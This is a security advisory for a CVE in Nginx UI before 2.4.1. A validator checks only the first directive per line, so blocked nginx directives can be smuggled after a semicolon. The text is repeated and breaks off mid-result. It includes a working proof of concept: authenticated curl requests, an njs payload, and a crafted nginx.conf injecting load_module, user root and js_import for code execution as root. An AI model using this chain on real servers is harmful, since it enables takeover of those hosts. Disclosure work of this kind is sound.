CVE-2026-84316

Nginx UI is a web user interface for the Nginx web server. Prior to 2.4.1, config.ValidateConfigDirectives splits configuration by newline and checks only the first directive token on each line even though Nginx permits multiple semicolon-separated directives on one line. An authenticated caller can place a benign directive first and a restricted load_module, js_import, perl, or user root directive later on the same line, or can use an unrestricted include directive to load restricted content. These mechanisms bypass validation on REST, nginx_config_modify, site, and stream write paths; when an executable module is available, the injected configuration can execute code in the Nginx worker context. This issue is fixed in version 2.4.1.

Nginx UI is a web user interface for the Nginx web server. Prior to 2.4.1, config.ValidateConfigDirectives splits configuration by newline and checks only the first directive token on each line even though Nginx permits multiple semicolon-separated directives on one line. An authenticated caller can place a benign directive first and a restricted load_module, js_import, perl, or user root directive later on the same line, or can use an unrestricted include directive to load restricted content. These mechanisms bypass validation on REST, nginx_config_modify, site, and stream write paths; when an executable module is available, the injected configuration can execute code in the Nginx worker context. This issue is fixed in version 2.4.1.

Summary

config.ValidateConfigFile is the security control that blocks dangerous nginx directives (js_*, perl_*, load_module of njs/perl modules, user root). Its directive scanner is bypassable: it splits the config by newlines and inspects only the FIRST token of each line, but nginx separates directives with ;, not newlines. Putting a benign directive first and the blocked directive after a ; on the SAME line defeats every check. The include directive is also not on the denylist. As a result, an authenticated caller can inject the exact directives the hardening was meant to block, through EVERY path that calls the validator — POST /api/configs (add), the REST config modify endpoint (api/config/modify.go), the MCP nginx_config_modify tool, and the site/stream save paths (internal/site/save.go, internal/stream/save.go). On deployments where nginx has the njs/perl module (the official uozi/nginx-ui Docker image ships ngx_http_js_module.so), this leads to code execution in the nginx worker; with user root the workers run as root.

This is distinct from the config_add gap (the MCP nginx_config_add tool not calling the validator at all): here the validator IS called and still bypassed, so fixing config_add does not fix this.

Root cause (internal/config/validation.go, ValidateConfigDirectives)

for _, line := range bytes.Split(content, []byte("\n")) {          // splits on \n only
    trimmed := strings.TrimSpace(string(line))
    ...
    directive := firstDirectiveToken(trimmed)                      // first [a-zA-Z_]* of the line
    if directive == "user" && configuresRootWorkers(trimmed) { ... }     // keyed on first token
    if directive == "load_module" && loadsRestrictedDynamicModule(...) { ... } // keyed on first token
    if _, blocked := blockedConfigDirectives[directive]; blocked { ... }      // keyed on first token
}

nginx parses a 1; b 2; on one line as two directives, but this scanner only ever sees a. include is absent from blockedConfigDirectives.

Proof of Concept (live, official image uozi/nginx-ui:2.3.11) — VALIDATED paths only

Authenticated with a node secret (X-Node-Secret, from nginx-ui's first-boot log) or a user JWT. Every step below hits a path that calls ValidateConfigFile.

1. Baseline — validator works on a plain line:

curl -X POST http://HOST/api/configs -H "X-Node-Secret: $S" -H 'Content-Type: application/json' \
  -d '{"name":"x.conf","base_dir":"","content":"js_import a.js;","overwrite":true}'
# -> 40017 "file content contains restricted nginx directive: js_import"   (REJECTED)

2. Create the njs module file via the VALIDATED REST add (JS source is not nginx directives, so it passes ValidateConfigContent):

poc.conf:
  import fs from 'fs';
  function pwn(r){ fs.writeFileSync('/tmp/NJS_VIA_DENYLIST_BYPASS.txt','denylist-bypass-rce-ok\n'); r.return(200,'pwned2\n'); }
  export default { pwn };
curl -X POST http://HOST/api/configs -H "X-Node-Secret: $S" -H 'Content-Type: application/json' \
  -d '{"name":"poc.conf","base_dir":"","content":"<the JS above>","overwrite":true}'   # ACCEPTED

3. Overwrite the main nginx.conf via the VALIDATED nginx_config_modify MCP tool, smuggling each blocked directive after a benign one on the SAME line (this is ACCEPTED by ValidateConfigFile):

worker_processes 1; load_module /usr/lib/nginx/modules/ngx_http_js_module.so;
error_log /var/log/nginx/error.log notice; user root;
pid /run/nginx.pid;
events { worker_connections 1024; }
http {
    include /etc/nginx/mime.types;
    default_type application/octet-stream; js_import poc from /etc/nginx/poc.conf;
    server { listen 8897; location = /pwn3 { js_content poc.pwn; } }
}

4. Reload. Result:

• nginx -t successful.
• worker /proc/<pid>/status → Uid: 0 0 0 0 (root) — the blocked user root took effect.
• GET http://127.0.0.1:8897/pwn3 → pwned2 — js_content executed.
• /tmp/NJS_VIA_DENYLIST_BYPASS.txt created,…

Nginx UI is a web user interface for the Nginx web server. Prior to 2.4.1, config.ValidateConfigDirectives splits configuration by newline and checks only the first directive token on each line even though Nginx permits multiple semicolon-separated directives on one line. An authenticated caller can place a benign directive first and a restricted load_module, js_import, perl, or user root directive later on the same line, or can use an unrestricted include directive to load restricted content. These mechanisms bypass validation on REST, nginx_config_modify, site, and stream write paths; when an executable module is available, the injected configuration can execute code in the Nginx worker context. This issue is fixed in version 2.4.1.

Nginx UI is a web user interface for the Nginx web server. Prior to 2.4.1, config.ValidateConfigDirectives splits configuration by newline and checks only the first directive token on each line even though Nginx permits multiple semicolon-separated directives on one line. An authenticated caller can place a benign directive first and a restricted load_module, js_import, perl, or user root directive later on the same line, or can use an unrestricted include directive to load restricted content. These mechanisms bypass validation on REST, nginx_config_modify, site, and stream write paths; when an executable module is available, the injected configuration can execute code in the Nginx worker context. This issue is fixed in version 2.4.1.

Summary

config.ValidateConfigFile is the security control that blocks dangerous nginx directives (js_*, perl_*, load_module of njs/perl modules, user root). Its directive scanner is bypassable: it splits the config by newlines and inspects only the FIRST token of each line, but nginx separates directives with ;, not newlines. Putting a benign directive first and the blocked directive after a ; on the SAME line defeats every check. The include directive is also not on the denylist. As a result, an authenticated caller can inject the exact directives the hardening was meant to block, through EVERY path that calls the validator — POST /api/configs (add), the REST config modify endpoint (api/config/modify.go), the MCP nginx_config_modify tool, and the site/stream save paths (internal/site/save.go, internal/stream/save.go). On deployments where nginx has the njs/perl module (the official uozi/nginx-ui Docker image ships ngx_http_js_module.so), this leads to code execution in the nginx worker; with user root the workers run as root.

This is distinct from the config_add gap (the MCP nginx_config_add tool not calling the validator at all): here the validator IS called and still bypassed, so fixing config_add does not fix this.

Root cause (internal/config/validation.go, ValidateConfigDirectives)

for _, line := range bytes.Split(content, []byte("\n")) {          // splits on \n only
    trimmed := strings.TrimSpace(string(line))
    ...
    directive := firstDirectiveToken(trimmed)                      // first [a-zA-Z_]* of the line
    if directive == "user" && configuresRootWorkers(trimmed) { ... }     // keyed on first token
    if directive == "load_module" && loadsRestrictedDynamicModule(...) { ... } // keyed on first token
    if _, blocked := blockedConfigDirectives[directive]; blocked { ... }      // keyed on first token
}

nginx parses a 1; b 2; on one line as two directives, but this scanner only ever sees a. include is absent from blockedConfigDirectives.

Proof of Concept (live, official image uozi/nginx-ui:2.3.11) — VALIDATED paths only

Authenticated with a node secret (X-Node-Secret, from nginx-ui's first-boot log) or a user JWT. Every step below hits a path that calls ValidateConfigFile.

1. Baseline — validator works on a plain line:

curl -X POST http://HOST/api/configs -H "X-Node-Secret: $S" -H 'Content-Type: application/json' \
  -d '{"name":"x.conf","base_dir":"","content":"js_import a.js;","overwrite":true}'
# -> 40017 "file content contains restricted nginx directive: js_import"   (REJECTED)

2. Create the njs module file via the VALIDATED REST add (JS source is not nginx directives, so it passes ValidateConfigContent):

poc.conf:
  import fs from 'fs';
  function pwn(r){ fs.writeFileSync('/tmp/NJS_VIA_DENYLIST_BYPASS.txt','denylist-bypass-rce-ok\n'); r.return(200,'pwned2\n'); }
  export default { pwn };
curl -X POST http://HOST/api/configs -H "X-Node-Secret: $S" -H 'Content-Type: application/json' \
  -d '{"name":"poc.conf","base_dir":"","content":"<the JS above>","overwrite":true}'   # ACCEPTED

3. Overwrite the main nginx.conf via the VALIDATED nginx_config_modify MCP tool, smuggling each blocked directive after a benign one on the SAME line (this is ACCEPTED by ValidateConfigFile):

worker_processes 1; load_module /usr/lib/nginx/modules/ngx_http_js_module.so;
error_log /var/log/nginx/error.log notice; user root;
pid /run/nginx.pid;
events { worker_connections 1024; }
http {
    include /etc/nginx/mime.types;
    default_type application/octet-stream; js_import poc from /etc/nginx/poc.conf;
    server { listen 8897; location = /pwn3 { js_content poc.pwn; } }
}

4. Reload. Result:

• nginx -t successful.
• worker /proc/<pid>/status → Uid: 0 0 0 0 (root) — the blocked user root took effect.
• GET http://127.0.0.1:8897/pwn3 → pwned2 — js_content executed.
• /tmp/NJS_VIA_DENYLIST_BYPASS.txt created,…

Nginx UI: nginx config directive denylist (ValidateConfigFile) is bypassable via same-line ";" separation → authenticated directive injection (RCE on the official image) in github.com/0xJacky/Nginx-UI